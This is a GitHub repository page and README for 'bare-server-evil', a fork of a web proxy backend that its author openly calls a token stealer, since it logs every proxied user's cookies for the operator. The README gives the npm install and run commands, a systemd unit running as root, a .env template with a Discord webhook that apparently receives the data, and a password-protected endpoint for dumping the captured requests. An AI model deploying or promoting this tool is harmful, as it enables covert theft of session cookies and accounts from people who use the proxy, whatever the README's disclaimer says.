Skip to content

A token stealing TompHTTP Bare server in the Node runtime

License

Notifications You must be signed in to change notification settings

FoxMoss/bare-server-evil

 
 

Repository files navigation

DISCLAIMER: PLEASE MAKE CLEAR TO YOUR AUDIENCE THAT YOU ARE STORING THIS DATA

Evil TOMP Bare Server

This repository implements the TompHTTP bare server. See the specification here.

This also logs all your cookies for the site owner.

Extra Setup

Make a .env file that looks like this:

WEBHOOK="https://discord.com/api/webhooks/10/T0k3n"
PASSWORD="I-<3-/\/\3|\|"

Upgrading

A guide for updating from v1 to v2 can be found here.

Usage

We provide a command-line interface for creating a server.

For more features, specify the --help option when running the CLI.

Quickstart

Program

  1. Install Bare Server Node globally
npm install --global bare-server-evil
  1. Start the server
npx bare-server-evil

Optionally start the server localhost:8080:

npx bare-server-evil --port 8008 --host localhost

Systemd

[Unit]
Description=Evil Bare Server

Wants=network.target
After=syslog.target network-online.target

[Service]
User=root
Group=root
Type=simple
Environment="PORT=8008" # possible put webhook here too?
ExecStart=/path/bare-server-evil/bin.js
KillMode=process
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

Hook Up With UV

Just tweak the config to point to the new bare server, and (if you want to save on resources) disable the internal bare sever in UV.

Checking Logs

Go to where every your bare sever is hosted + /requests.log?password=password it'll dump the entirety of your requests.log file. The password as defined in plaintext in your .env.

I love security.

Credit

See the original.

About

A token stealing TompHTTP Bare server in the Node runtime

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • TypeScript 99.9%
  • JavaScript 0.1%